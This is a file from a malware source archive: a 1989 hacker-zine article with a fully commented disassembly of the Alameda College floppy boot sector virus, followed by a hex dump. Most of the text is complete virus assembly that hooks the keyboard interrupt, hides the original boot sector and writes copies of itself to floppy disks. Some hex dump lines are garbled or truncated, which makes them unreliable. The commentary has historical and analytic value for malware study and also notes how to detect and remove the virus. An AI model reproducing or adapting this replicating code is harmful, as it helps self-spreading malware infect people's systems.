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vxug-MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.bootvir.asm

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2021-01-12 23:38:47 +00:00
P/HUN Issue #4, Volume 2: Phile 3 of 11
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A BOOT SECTOR VIRUS
5/15/89
The following is a disassembled and commented version of the Alemeda
College Boot infector virus. Courtesy of Southern Cross.
;-----------------------------------------------------------------------;
; This virus is of the "FLOPPY ONLY" variety. ;
; It replicates to the boot sector of a floppy disk and when it gains control
; it will move itself to upper memory. It redirects the keyboard ;
; interrupt (INT 09H) to look for ALT-CTRL-DEL sequences at which time ;
; it will attempt to infect any floppy it finds in drive A:. ;
; It keeps the real boot sector at track 39, sector 8, head 0 ;
; It does not map this sector bad in the fat (unlike the Pakistani Brain)
; and should that area be used by a file, the virus ;
; will die. It also contains no anti detection mechanisms as does the ;
; BRAIN virus. It apparently uses head 0, sector 8 and not head 1 ;
; sector 9 because this is common to all floppy formats both single ;
; sided and double sided. It does not contain any malevolent TROJAN ;
; HORSE code. It does appear to contain a count of how many times it ;
; has infected other diskettes although this is harmless and the count ;
; is never accessed. ;
; ;
; Things to note about this virus: ;
; It can not only live through an ALT-CTRL-DEL reboot command, but this ;
; is its primary (only for that matter) means of reproduction to other ;
; floppy diskettes. The only way to remove it from an infected system ;
; is to turn the machine off and reboot an uninfected copy of DOS. ;
; It is even resident when no floppy is booted but BASIC is loaded ;
; instead. Then when ALT-CTRL-DEL is pressed from inside of BASIC, ;
; it activates and infectes the floppy from which the user is ;
; attempting to boot. ;
; ;
; Also note that because of the POP CS command to pass control to ;
; its self in upper memory, this virus does not to work on 80286 ;
; machines (because this is not a valid 80286 instruction). ;
; ;
; The Norton Utilities can be used to identify infected diskettes by ;
; looking at the boot sector and the DOS SYS utility can be used to ;
; remove it (unlike the Pakistani Brain). ;
;-----------------------------------------------------------------------;
;
ORG 7C00H ;
;
TOS LABEL WORD ;TOP OF STACK
;-----------------------------------------------------------------------;
; 1. Find top of memory and copy ourself up there. (keeping same offset);
; 2. Save a copy of the first 32 interrupt vectors to top of memory too ;
; 3. Redirect int 9 (keyboard) to ourself in top of memory ;
; 4. Jump to ourself at top of memory ;
; 5. Load and execute REAL boot sector from track 40, head 0, sector 8 ;
;-----------------------------------------------------------------------;
BEGIN: CLI ;INITIALIZE STACK
XOR AX,AX ;
MOV SS,AX ;
MOV SP,offset TOS ;
STI ;
;
MOV BX,0040H ;ES = TOP OF MEMORY - (7C00H+512)
MOV DS,BX ;
MOV AX,[0013H] ;
MUL BX ;
SUB AX,07E0H ; (7C00H+512)/16
MOV ES,AX ;
;
PUSH CS ;DS = CS
POP DS ;
;
CMP DI,3456H ;IF THE VIRUS IS REBOOTING...
JNE B_10 ;
DEC Word Ptr [COUNTER_1] ;...LOW&HI:COUNTER_1--
;
B_10: MOV SI,SP ;SP=7C00 ;COPY SELF TO TOP OF MEMORY
MOV DI,SI ;
MOV CX,512 ;
CLD ;
REP MOVSB ;
;
MOV SI,CX ;CX=0 ;SAVE FIRST 32 INT VETOR ADDRESSES TO
MOV DI,offset BEGIN - 128 ; 128 BYTES BELOW OUR HI CODE
MOV CX,128 ;
REP MOVSB ;
;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
;
PUSH ES ;ES=HI ;JUMP TO OUR HI CODE WITH
POP CS ; CS = ES
;
PUSH DS ;DS=0 ;ES = DS
POP ES ;
;
MOV BX,SP ;SP=7C00 ;LOAD REAL BOOT SECTOR TO 0000:7C00
MOV DX,CX ;CX=0 ; DRIVE A: HEAD 0
MOV CX,2708H ; TRACK 40, SECTOR 8
MOV AX,0201H ; READ SECTOR
INT 13H ; (common to 8/9 sect. 1/2 sided!)
JB $ ; HANG IF ERROR
;
JMP JMP_BOOT ;JMP 0000:7C00
;
;-----------------------------------------------------------------------;
; SAVE THEN REDIRECT INT 9 VECTOR ;
; ;
; ON ENTRY: DS = 0 ;
; ES = WHERE TO SAVE OLD_09 & (HI) ;
; WHERE NEW_09 IS (HI) ;
;-----------------------------------------------------------------------;
PUT_NEW_09: ;
DEC Word Ptr [0413H] ;TOP OF MEMORY (0040:0013) -= 1024
;
MOV SI,9*4 ;COPY INT 9 VECTOR TO
MOV DI,offset OLD_09 ; OLD_09 (IN OUR HI CODE!)
MOV CX,0004 ;
;
CLI ;
REP MOVSB ;
MOV Word Ptr [9*4],offset NEW_09
MOV [(9*4)+2],ES ;
STI ;
;
RET ;
;
;-----------------------------------------------------------------------;
; RESET KEYBOARD, TO ACKNOWLEDGE LAST CHAR ;
;-----------------------------------------------------------------------;
ACK_KEYBD: ;
IN AL,61H ;RESET KEYBOARD THEN CONTINUE
MOV AH,AL ;
OR AL,80H ;
OUT 61H,AL ;
XCHG AL,AH ;
OUT 61H,AL ;
JMP RBOOT ;
;
;-----------------------------------------------------------------------;
; DATA AREA WHICH IS NOT USED IN THIS VERSION ;
; REASON UNKNOWN ;
;-----------------------------------------------------------------------;
TABLE DB 27H,0,1,2 ;FORMAT INFORMATION FOR TRACK 39
DB 27H,0,2,2 ; (CURRENTLY NOT USED)
DB 27H,0,3,2 ;
DB 27H,0,4,2 ;
DB 27H,0,5,2 ;
DB 27H,0,6,2 ;
DB 27H,0,7,2 ;
DB 27H,0,8,2 ;
;
;A7C9A LABEL BYTE ;
DW 00024H ;NOT USED
DB 0ADH ;
DB 07CH ;
DB 0A3H ;
DW 00026H ;
;
;L7CA1: ;
POP CX ;NOT USED
POP DI ;
POP SI ;
POP ES ;
POP DS ;
POP AX ;
POPF ;
JMP 1111:1111 ;
;
;-----------------------------------------------------------------------;
; IF ALT & CTRL & DEL THEN ... ;
; IF ALT & CTRL & ? THEN ... ;
;-----------------------------------------------------------------------;
NEW_09: PUSHF ;
STI ;
;
PUSH AX ;
PUSH BX ;
PUSH DS ;
;
PUSH CS ;DS=CS
POP DS ;
;
MOV BX,[ALT_CTRL] ;BX=SCAN CODE LAST TIME
IN AL,60H ;GET SCAN CODE
MOV AH,AL ;SAVE IN AH
AND AX,887FH ;STRIP 8th BIT IN AL, KEEP 8th BIT AH
;
CMP AL,1DH ;IS IT A [CTRL]...
JNE N09_10 ;...JUMP IF NO
MOV BL,AH ;(BL=08 ON KEY DOWN, BL=88 ON KEY UP)
JMP N09_30 ;
;
N09_10: CMP AL,38H ;IS IT AN [ALT]...
JNE N09_20 ;...JUMP IF NO
MOV BH,AH ;(BH=08 ON KEY DOWN, BH=88 ON KEY UP)
JMP N09_30 ;
;
N09_20: CMP BX,0808H ;IF (CTRL DOWN & ALT DOWN)...
JNE N09_30 ;...JUMP IF NO
;
CMP AL,17H ;IF [I]...
JE N09_X0 ;...JUMP IF YES
CMP AL,53H ;IF [DEL]...
JE ACK_KEYBD ;...JUMP IF YES
;
N09_30: MOV [ALT_CTRL],BX ;SAVE SCAN CODE FOR NEXT TIME
;
N09_90: POP DS ;
POP BX ;
POP AX ;
POPF ;
;
DB 0EAH ;JMP F000:E987
OLD_09 DW ? ;
DW 0F000H ;
;
N09_X0: JMP N09_X1 ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
RBOOT: MOV DX,03D8H ;DISABLE COLOR VIDEO !?!?
MOV AX,0800H ;AL=0, AH=DELAY ARG
OUT DX,AL ;
CALL DELAY ;
MOV [ALT_CTRL],AX ;AX=0 ;
;
MOV AL,3 ;AH=0 ;SELECT 80x25 COLOR
INT 10H ;
MOV AH,2 ;SET CURSOR POS 0,0
XOR DX,DX ;
MOV BH,DH ; PAGE 0
INT 10H ;
;
MOV AH,1 ;SET CURSOR TYPE
MOV CX,0607H ;
INT 10H ;
;
MOV AX,0420H ;DELAY (AL=20H FOR EOI BELOW)
CALL DELAY ;
;
CLI ;
OUT 20H,AL ;SEND EOI TO INT CONTROLLER
;
MOV ES,CX ;CX=0 (DELAY) ;RESTORE FIRST 32 INT VECTORS
MOV DI,CX ; (REMOVING OUR INT 09 HANDLER!)
MOV SI,offset BEGIN - 128 ;
MOV CX,128 ;
CLD ;
REP MOVSB ;
;
MOV DS,CX ;CX=0 ;DS=0
;
MOV Word Ptr [19H*4],offset NEW_19 ;SET INT 19 VECTOR
MOV [(19H*4)+2],CS ;
;
MOV AX,0040H ;DS = ROM DATA AREA
MOV DS,AX ;
;
MOV [0017H],AH ;AH=0 ;KBFLAG (SHIFT STATES) = 0
INC Word Ptr [0013H] ;MEMORY SIZE += 1024 (WERE NOT ACTIVE)
;
PUSH DS ;IF BIOS F000:E502 == 21E4...
MOV AX,0F000H ;
MOV DS,AX ;
CMP Word Ptr [0E502H],21E4H ;
POP DS ;
JE R_90 ;
INT 19H ; IF NOT...REBOOT
;
R_90: JMP 0F000:0E502H ;...DO IT ?!?!?!
;
;-----------------------------------------------------------------------;
; REBOOT INT VECTOR ;
;-----------------------------------------------------------------------;
NEW_19: XOR AX,AX ;
;
MOV DS,AX ;DS=0
MOV AX,[0410] ;AX=EQUIP FLAG
TEST AL,1 ;IF FLOPPY DRIVES ...
JNZ N19_20 ;...JUMP
N19_10: PUSH CS ;ELSE ES=CS
POP ES ;
CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
INT 18H ;LOAD BASIC
;
N19_20: MOV CX,0004 ;RETRY COUNT = 4
;
N19_22: PUSH CX ;
MOV AH,00 ;RESET DISK
INT 13 ;
JB N19_81 ;
MOV AX,0201 ;READ BOOT SECTOR
PUSH DS ;
POP ES ;
MOV BX,offset BEGIN ;
MOV CX,1 ;TRACK 0, SECTOR 1
INT 13H ;
N19_81: POP CX ;
JNB N19_90 ;
LOOP N19_22 ;
JMP N19_10 ;IF RETRY EXPIRED...LOAD BASIC
;
;-----------------------------------------------------------------------;
; Reinfection segment. ;
;-----------------------------------------------------------------------;
N19_90: CMP DI,3456 ;IF NOT FLAG SET...
JNZ RE_INFECT ;...RE INFECT
;
JMP_BOOT: ;PASS CONTROL TO BOOT SECTOR
JMP 0000:7C00H ;
;
;-----------------------------------------------------------------------;
; Reinfection Segment. ;
;-----------------------------------------------------------------------;
RE_INFECT: ;
MOV SI,offset BEGIN ;COMPARE BOOT SECTOR JUST LOADED WITH
MOV CX,00E6H ; OURSELF
MOV DI,SI ;
PUSH CS ;
POP ES ;
CLD ;
REPE CMPSB ;
JE RI_12 ;IF NOT EQUAL...
;
INC Word Ptr ES:[COUNTER_1] ;INC. COUNTER IN OUR CODE (NOT DS!)
;
;MAKE SURE TRACK 39, HEAD 0 FORMATTED ;
MOV BX,offset TABLE ;FORMAT INFO
MOV DX,0000 ;DRIVE A: HEAD 0
MOV CH,40-1 ;TRACK 39
MOV AH,5 ;FORMAT
JMP RI_10 ;REMOVE THE FORMAT OPTION FOR NOW !
;
; <<< NO EXECUTION PATH TO HERE >>> ;
JB RI_80 ;
;
;WRITE REAL BOOT SECTOR AT TRACK 39, SECTOR 8, HEAD 0
RI_10: MOV ES,DX ;ES:BX = 0000:7C00, HEAD=0
MOV BX,offset BEGIN ;TRACK 40H
MOV CL,8 ;SECTOR 8
MOV AX,0301H ;WRITE 1 SECTOR
INT 13H ;
;
PUSH CS ; (ES=CS FOR PUT_NEW_09 BELOW)
POP ES ;
JB RI_80 ;IF WRITE ERROR...JUMP TO BOOT CODE
;
MOV CX,0001 ;WRITE INFECTED BOOT SECTOR !
MOV AX,0301 ;
INT 13H ;
JB RI_80 ; IF ERROR...JUMP TO BOOT CODE
;
RI_12: MOV DI,3456H ;SET "JUST INFECTED ANOTHER ONE"...
INT 19H ;...FLAG AND REBOOT
;
RI_80: CALL PUT_NEW_09 ;SAVE/REDIRECT INT 9 (KEYBOARD)
DEC Word Ptr ES:[COUNTER_1] ; (DEC. CAUSE DIDNT INFECT)
JMP JMP_BOOT ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
N09_X1: MOV [ALT_CTRL],BX ;SAVE ALT & CTRL STATUS
;
MOV AX,[COUNTER_1] ;PUT COUNTER_1 INTO RESET FLAG
MOV BX,0040H ;
MOV DS,BX ;
MOV [0072H],AX ; 0040:0072 = RESET FLAG
JMP N09_90 ;
;
;-----------------------------------------------------------------------;
; DELAY ;
; ;
; ON ENTRY AH:CX = LOOP COUNT ;
;-----------------------------------------------------------------------;
DELAY: SUB CX,CX ;
D_01: LOOP $ ;
SUB AH,1 ;
JNZ D_01 ;
RET ;
;
;-----------------------------------------------------------------------;
; ;
;-----------------------------------------------------------------------;
A7DF4 DB 27H,00H,8,2
COUNTER_1 DW 001CH
ALT_CTRL DW 0
A7DFC DB 27H,0,8,2
END
;-----------------------------------------------------------------------;
; Hexadecimal representation. ;
;-----------------------------------------------------------------------;
;7C00 FA 31 C0 8E D0 BC 00 7C-FB BB 40 00 8E DB A1 13 z1@.P<.|{;@..[!.
;7C10 00 F7 E3 2D E0 07 8E C0-0E 1F 81 FF 56 34 75 04 .wc-`..@....V4u.
;7C20 FF 0E F8 7D 89 E6 89 F7-B9 00 02 FC F3 A4 89 CE ..x}.f.w9..|s$.N
;7C30 BF 80 7B B9 80 00 F3 A4-E8 15 00 06 0F 1E 07 89 ?.{9..s$h.......
;7C40 E3 89 CA B9 08 27 B8 01-02 CD 13 72 FE E9 38 01 c.J9.'8..M.r~i8.
;7C50 FF 0E 13 04 BE 24 00 BF-E6 7C B9 04 00 FA F3 A4 ....>$.?f|9..zs$
;7C60 C7 06 24 00 AD 7C 8C 06-26 00 FB C3 E4 61 88 C4 G.$.-|..&.{Cda.D
;7C70 0C 80 E6 61 86 C4 E6 61-EB 73 27 00 01 02 27 00 ..fa.Dfaks'...'.
;7C80 02 02 27 00 03 02 27 00-04 02 27 00 05 02 27 00 ..'...'...'...'.
;7C90 06 02 27 00 07 02 27 00-08 02 24 00 AD 7C A3 26 ..'...'.$.-|#&
;7CA0 09 5F 5E 07 1F 58 9D-EA 11 11 1 FB .Y_^..X.j.....{P
;7CB0 53 1E 0E 1F 8B 1E FA 7D-E4 60 88 C4 25 7F 88 S.....z}d`.D%..<
;7CC0 1D 75 04 88 E3 EB 16 3C-38 75 04 88 E7 EB 0E .u..ck.<8u..gk..
;7CD0 FB 08 08 75 08 3C 17 74-11 3C 53 74 8F 89 1E {..u.<.t.<St...z
;7CE0 7D 1F 5B 58 9D EA 87 E9-00 F0 E9 EB 00 BA D8 03 }.[X.j.i.pik.:X.
;7CF0 B8 00 08 EE E8 F3 00 A3-FA 7D B0 03 CD 10 B4 02 ..nhs.#z}0.M.4.
;7D00 31 D2 88 F7 CD 10 B4 01-B9 07 06 CD 108 20 04 1R..4.9..M.8 .
;7D10 E8 D7 00 FA E6 20 8E C1-89 CF BE 80 7B B9 80 00 hW.zfA.O>.{9..
;7D20 FC F3 A4 8E D9 C7 06 64-00 52 7D 8C 0E 66 00 B8 |s$.YG.R}..f.8
;7D30 40 00 8E D8 88 26 17 00-FF 06 13 00 1E B8 00 F0 @..X.&.....8.p
;7D4 8E D8 81 3E 02 E5 E4 21-1F 74 02 CD 19 EA 02 E5 .X.>.ed!.t.M.e
;7D50 00 F0 31 C0 8E D8 A1 10-04 A8 01 75 07 0E 07 E8 .p1@.X!..(.u..
;7D60 EE FE CD 18 B9 04 00 51-B4 00 CD 13 72 0D B8 01 n~M.9..Q4.M.r.8
;7D70 02 1E 07 BB 00 7C B9 01-00 C3 59 73 04 E2 E7 ...;.|9..M.Ys.bg
;780 EB DB 81 FF 56 34 75 05-EA 00 7C 00 00 BE 00 7C k[..V4u|..>.|
;7D90 B9 E6 00 89 F7 0E 07 FC-F3 A6 74 2D 26 FF 06 F8 9f..w..|t-&..x
;7DA0 7D BB 7A 7C BA 00 00 B5-27 B4 05 EB 02 72 1F 8E };z|:..5.k.r..
;7DB0 C2 BB 00 7C B1 08 B8 01-03 CD 13 0E 07 72 0F B9 B;.|1.8....r.9
;7DC0 01 00 B8 01 03 CD 13 72-05 BF 56 34 CD 19 E8 7F ..8..M.rV4M.h.
;7DD0 FE 26 FF 0E F8 7D EB B0-89 1E FA 7D A1 F8 7D BB ~&..x}k0}!x};
;7DE0 40 00 8E DB A3 72 0E9-F7 FE 29 C9 E2 FE 80 EC @..[#r.iwIb~.l
;7DF0 01 75 F9 C3 27 00 08 02-1C 00 00 00 27 00 08 02 .uyC'.....'...
;---------------------------------------------------------------------;
End of commented code for the Alameda College Boot Infector Virus.
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